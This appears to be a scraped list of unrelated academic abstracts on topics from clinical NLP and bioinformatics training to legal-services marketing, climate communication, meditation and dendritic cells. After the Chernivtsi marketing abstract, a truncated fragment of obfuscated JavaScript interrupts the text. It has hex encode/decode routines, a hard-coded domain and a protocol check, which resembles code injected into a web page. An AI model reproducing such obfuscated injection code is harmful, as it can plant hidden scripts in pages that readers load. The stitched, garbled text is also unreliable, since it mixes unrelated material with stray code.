Parsing MetaMap Files in Hadoop

The UMLS::Association CUICollector module identifies UMLS Concept Unique Identifier bigrams and their frequencies in a biomedical text corpus. CUICollector was re-implemented in Hadoop MapReduce to improve algorithm speed, flexibility, and scalability. Evaluation of the Hadoop implementation compared to the serial module produced equivalent results and achieved a 28x speedup on a single-node Hadoop system

MARKETING RESEARCH OF SECTORS OF THE REGIONAL LEGAL SERVICES’ MARKET OF CHERNIVTSI REGION

The article reveals the contents of the special market research of sectors of the regional legal services’ market of Chernivtsi region. Is proved that a complete picture of the functioning of the regional market of legal services may be provided through the use of special methods of marketing research of advocacy and notary sectors. The results of special researches act as basis for systematic and reasonable implementation of marketing tools in the practice of regional law firms that will promote setting their relationships between members of the regional market of legal services based on partner interaction.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ecoforumjournal.ro"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;

Temporal disambiguation of relative temporal expressions in clinical texts using temporally fine-tuned contextual word embeddings.

Temporal reasoning is the ability to extract and assimilate temporal information to reconstruct a series of events such that they can be reasoned over to answer questions involving time. Temporal reasoning in the clinical domain is challenging due to specialized medical terms and nomenclature, shorthand notation, fragmented text, a variety of writing styles used by different medical units, redundancy of information that has to be reconciled, and an increased number of temporal references as compared to general domain texts. Work in the area of clinical temporal reasoning has progressed, but the current state-of-the-art still has a ways to go before practical application in the clinical setting will be possible. Much of the current work in this field is focused on direct and explicit temporal expressions and identifying temporal relations. However, there is little work focused on relative temporal expressions, which can be difficult to normalize, but are vital to ordering events on a timeline. This work introduces a new temporal expression recognition and normalization tool, Chrono, that normalizes temporal expressions into both SCATE and TimeML schemes. Chrono advances clinical timeline extraction as it is capable of identifying more vague and relative temporal expressions than the current state-of-the-art and utilizes contextualized word embeddings from fine-tuned BERT models to disambiguate temporal types, which achieves state-of-the-art performance on relative temporal expressions. In addition, this work shows that fine-tuning BERT models on temporal tasks modifies the contextualized embeddings so that they achieve improved performance in classical SVM and CNN classifiers. Finally, this works provides a new tool for linking temporal expressions to events or other entities by introducing a novel method to identify which tokens an entire temporal expression is paying the most attention to by summarizing the attention weight matrices output by BERT models

Chrono: A System for Normalizing Temporal Expressions

The Chrono System: Chrono is a hybrid rule-based and machine learning system written in Python and built from the ground up to identify temporal expressions in text and normalizes them into the SCATE schema. Input text is preprocessed using Python’s NLTK package, and is run through each of the four primary modules highlighted here. Note that Chrono does not remove stopwords because they add temporal information and context, and Chrono does not tokenize sentences. Output is an Anafora XML file with annotated SCATE entities. After minor parsing logic adjustments, Chrono has emerged as the top performing system for SemEval 2018 Task 6. Chrono is available on GitHub at https://github.com/AmyOlex/Chrono. Future Work: Chrono is still under development. Future improvements will include: additional entity parsing, like “event”; evaluating the impact of sentence tokenization; implement an ensemble ML module that utilizes all four ML methods for disambiguation; extract temporal phrase parsing algorithm to be stand-alone and compare to similar systems; evaluate performance on THYME medical corpus; migrate to UIMA framework and implement Ruta Rules for portability and easier customization

Short Courses: Flexible Learning Opportunities in Informatics

In today’s fast-paced, data-driven world, researchers need to have a good foundation in informatics to store, organize, process, and analyze growing amounts of data. However, not all degree programs offer such training. Obtaining training in informatics on your own can be a daunting task for both new and established researchers who have little informatics experience. Providing educational opportunities appropriate for various skill levels and that mesh with a full-time schedule can remove barriers and foster a collaborative, informatics-savvy community that is better equipped to push science forward. To enhance informatics education in bioinformatics, VCUs Wright Center for Clinical and Translational Research of- fers a complementary series of seminars and workshops. These short course offerings introduce attendees to bioinformatics concepts and applications, and provide hands-on experience using online Bioinformatics databases. Bioinformatics 101 (B101) is an 8-week long series of 1-hour seminars focused on introducing topics in bioinformatics related to Next Generation Sequencing (NGS). Lectures are application focused and include overviews of NGS technology, practical bioinformatics pipelines, and examples of how the technology can influence downstream bioinformatics analyses. Bioinformatics 102 (B102) is a 5-day, 2 hours per day workshop developed in collaboration with VCU Libraries that provides attendees with hands-on experience accessing and using public data repositories. Sessions include a brief lecture followed by hands-on exercises. A Certificate of Completion is awarded upon meeting certain criteria for either the 101 or 102 courses. Bioinformatics 101 has been offered 3 times with a combined total of 246 registrants, and Bioinformatics 102 has been offered twice with a total of 78 registrants (limited to 30 per session per day). From course surveys, 82% (n=108) and 95% (n=47) of respondents gave B101 and B102 a positive rating, respectively. In addition, 89% of B101 respondents indicated their knowledge was improved, with 100% of B102 respondents indicating the same. A total of 84 and 33 certificates have been awarded for B101 and B102, respectively. The Bioinformatics 101 and 102 courses have become highly anticipated across the university, and have gained the external attention of surrounding businesses and colleges. Registrants have diverse backgrounds including biological, clinical, computational, administrative, librarian, business, and others with a total of 77 departments across VCU and VCU Health represented. Due to this interest, Bioinformatics 101 began offering live online attendance to accommodate those who were unable to travel across campus, or who are attending from outside VCU. This past year, 50% of attendance was online indicating a growing need for flexible education opportunities in informatics. Increasing researcher knowledge of Bioinformatics along with awareness of university resources for informatics support fosters an informatics-savvy research community that is empowered to take advantage of existing and new data sources in the pursuit of new insights and scientific discoveries for the betterment of human health. Future work will include the development of a more comprehensive educational framework by creating new and flexible learning opportunities that will make informatics education easy and convenient for our dedicated researchers

Personality type differences between Ph.D. climate researchers and the general public: implications for effective communication

Effectively communicating the complexity of climate change to the public is an important goal for the climate change research community, particularly for those of us who receive public funds. The challenge of communicating the science of climate change will be reduced if climate change researchers consider the links between personality types, communication tendencies and learning preferences. Jungian personality type is one of many factors related to an individual’s preferred style of taking in and processing information, i.e., preferred communication style. In this paper, we demonstrate that the Jungian personality type profile of interdisciplinary, early career climate researchers is significantly different from that of the general population in the United States. In particular, Ph.D. climate researchers tend towards Intuition and focus on theories and the “big picture”, while the U.S. general population tends towards Sensing and focuses on concrete examples and experience. There are other differences as well in the way the general public as a group prefers to take in information, make decisions, and deal with the outer world, compared with the average interdisciplinary climate scientist. These differences have important implications for communication between these two groups. We suggest that climate researchers will be more effective in conveying their messages if they are aware of their own personality type and potential differences in preferred learning and communication styles between themselves and the general public (and other specific audiences), and use this knowledge to more effectively target their audience

Using Active Learning To Build A Foundation For Bioinformatics Training.

As Health Sciences Libraries evolve, the support they offer graduate students has evolved to incorporate many aspects of the research life cycle. At Tompkins-McCaw Library for the Health Sciences, we have partnered with the Wright Center for Clinical and Translational Research to offer training workshops for graduate students who are interested in using bioinformatics to plan, analyze, or execute scientific experiments. We offer two series: 1) an 8-week, 1-hour per week seminar series providing a general overview of available techniques and 2) a week-long intensive, two hours per session, series on utilizing free databases from the National Center for Biotechnology and Information (NCBI). Workshops have been offered for four years; a consistent challenge has been the variety of experience of participants, particularly in their biological science content background. To address this challenge and provide a solid foundation for the series, in 2019 we conducted a basic genetics session prior to engaging with the NCBI databases. In this lesson, we introduced participants to the central dogma of biology and utilized that knowledge in active learning sessions, with the goal of a shared understanding of the biological processes of transcription and translation. This understanding is essential to effectively using the gene and protein databases to interpret data and plan experiments. In addition to laying a solid content foundation, these activities set the stage for an interactive series and allowed participants to feel comfortable with the content and with interacting with each other. Feedback for the sessions was largely positive with 86% of survey respondents indicating enjoying the genetics portion specifically. The activities utilized open access learning materials and could be adapted for bioinformatic workshops at other institutions

Meditation: should a cardiologist care?

Meditation refers to a family of practices that may share many similarities, but can have differences in underlying methods and goals. Religious and spiritual associations are common but are not requisite for meditation practice and it should be recognized that the basis of many if not all practices is the training of the brain and body, a process that appears to have profound effects on both structure and function. In recent decades there has been interest regarding the effects of these ancient practices on the cardiovascular system, as meditation has intuitive appeal for benefit in this area. Though there is a relative shortage of quality data, available evidence suggests that meditation may exert beneficial effects on autonomic tone, autonomic reflexes, and decrease blood pressure acutely and after long term practice. In addition, meditation has the potential to positively influence the cardiovascular system through the mind-heart connection and the anti-inflammatory reflex. There is limited but promising data to suggest that meditation based interventions can have beneficial effects on patients with established cardiovascular disease. More high quality and unbiased studies of meditation practices on relevant endpoints in cardiovascular disease are needed, including the effects of such practices on inflammation, baseline heart rate variability, arrhythmias, myocardial infarction, and cardiovascular mortality

Dynamics of dendritic cell maturation are identified through a novel filtering strategy applied to biological time-course microarray replicates

<p>Abstract</p> <p>Background</p> <p>Dendritic cells (DC) play a central role in primary immune responses and become potent stimulators of the adaptive immune response after undergoing the critical process of maturation. Understanding the dynamics of DC maturation would provide key insights into this important process. Time course microarray experiments can provide unique insights into DC maturation dynamics. Replicate experiments are necessary to address the issues of experimental and biological variability. Statistical methods and averaging are often used to identify significant signals. Here a novel strategy for filtering of replicate time course microarray data, which identifies consistent signals between the replicates, is presented and applied to a DC time course microarray experiment.</p> <p>Results</p> <p>The temporal dynamics of DC maturation were studied by stimulating DC with poly(I:C) and following gene expression at 5 time points from 1 to 24 hours. The novel filtering strategy uses standard statistical and fold change techniques, along with the consistency of replicate temporal profiles, to identify those differentially expressed genes that were consistent in two biological replicate experiments. To address the issue of cluster reproducibility a consensus clustering method, which identifies clusters of genes whose expression varies consistently between replicates, was also developed and applied. Analysis of the resulting clusters revealed many known and novel characteristics of DC maturation, such as the up-regulation of specific immune response pathways. Intriguingly, more genes were down-regulated than up-regulated. Results identify a more comprehensive program of down-regulation, including many genes involved in protein synthesis, metabolism, and housekeeping needed for maintenance of cellular integrity and metabolism.</p> <p>Conclusions</p> <p>The new filtering strategy emphasizes the importance of consistent and reproducible results when analyzing microarray data and utilizes consistency between replicate experiments as a criterion in both feature selection and clustering, without averaging or otherwise combining replicate data. Observation of a significant down-regulation program during DC maturation indicates that DC are preparing for cell death and provides a path to better understand the process. This new filtering strategy can be adapted for use in analyzing other large-scale time course data sets with replicates.</p